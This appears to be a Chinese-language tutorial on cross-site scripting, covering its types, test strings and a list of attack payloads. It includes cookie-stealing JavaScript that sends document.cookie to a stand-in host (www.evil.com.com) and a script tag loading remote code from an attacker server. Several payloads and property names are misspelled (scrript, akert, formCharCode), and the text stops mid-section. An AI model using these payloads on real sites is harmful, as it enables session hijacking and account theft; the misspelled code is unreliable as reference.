1 介绍

全称:跨站脚本攻击

允许恶意web用户将代码植入web网站中,供给其他用户使用,当用户访问其有恶意代码的网页就会产生xss攻击

2 危害

  1. 盗取各类用户账号,如机器登录账号、用户网银账号、各类管理账号
  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  3. 盗取企业重要的具有商业价值的资料
  4. 非法转帐
  5. 强制发送电子邮件
  6. 网站挂马
  7. 控制受害机器向其他网站攻击

3 防御

总体思路是:对输入(和URL参数)进行过滤,对输出进行编码,使脚本无法在浏览器中执行

4 类型

4.1 反射性xss

非持久化,需要目标用户自己点击连接次才能触发xss代码。

方法:发送邮件等方式,将含有xss恶意链接发送到目标用户,当目标用户访问该链接时,服务器将接受该用户的请求并进行处理,然后发送至目标用户的浏览器,浏览器解析后,会触发xss攻击。

4.2 存储型xss

持久性,将恶意代码存储在服务器中的数据库中,如个人信息或发表文章等地方,如果插入的数据没有过滤,用户访问该页面时就会触发该代码,造成xss攻击

4.3 dom型xss

是一种特殊的反射性xss,基于DOM文档对象模型的一种漏洞

在网站页面中有许多页面的元素,当页面到达浏览器时会为页面创建一个顶级的Document object 文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素,也就是说,客户端的脚本程序可以通过DOM来动态修改页面,从客户端获取DOM中的数据并在本地执行。基于这个特性,便可以利用 js 实现 xss漏洞 的利用

以下是一些经常出现的 dom xss 的关键语句

1
2
3
4
5
document.refer 属性
windows.name 属性
location 属性
innerrHTML 属性
document.write 属性

4.4 其他XSS类型

  • mXSS
  • UXSS
  • Flash XSS
  • UTF-7 XSS
  • MHTML XSS
  • CSS XSS
  • VBScript XSS

    5 XSS语句

5.1 测试语句

测试xss网站是否存在 xss 漏洞时,应该输入一些标签如<、>输入后查看网页源码是否过滤标签。如果没有过滤,很大可能存在 xss 漏洞

1
2
3
4
5
6
常用的测试语句
<h5>1</h5>
<span>1</span>
<script>console.log(1);</script>
"><span>x</span><"
'>"><span>x</span><'

5.2 攻击语句

检测确定标签没有过滤后,为了显示存在漏洞,需要插入xss攻击代码

1
2
3
4
常用的语句
<script>alert(1)</script>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

5.2.1 普通的xss js注入

1
<scrript src=http://3.org/XSS/xss.js></script>

5.2.2 IMG标签 XSS 使用JS命令

1
<IMG SRC="http://3.org/XSS/xss.js">

5.2.3 IMG标签无分号无引号

1
<IMG SRC=javascript:alert("XSS")>

5.2.4 IMG标签大小写不敏感

1
<IMG SRC=JaVAScriPT:akert("XSS")>

5.2.5 HTML编码

1
2
  
&lt;IMG SRC="http://3.org/XSS/xss.js"&gt;

5.2.6 修正缺陷 IMG 标签

1
<IMG """>><SCRIPT>alert("xss")</SCRIPT>">

5.2.7 formCharCode 标签

1
<IMG SRC=javascrript:alert(STRING.formCharCode(88,83,83))>

5.2.8 UTF-8的Unicode编码

6 XSS常见利用

xss漏洞可以通过构造恶意的xss语句实现很多功能,最常见的时构造恶意代码获取对方浏览器的cookie

1
2
3
var img=document.createElement("img");
img.src="http://www.evil.com.com?cookies="+escape(document.cookie);
document.body.appendChild(img);

被登陆者输入<script src="http://192.168.0.121/xss.js"></script>便会传输cookie至功能攻击者服务器

7 加载远程攻击的payload

7.1 常见的标准payload

注意:网站使用的协议是http还是https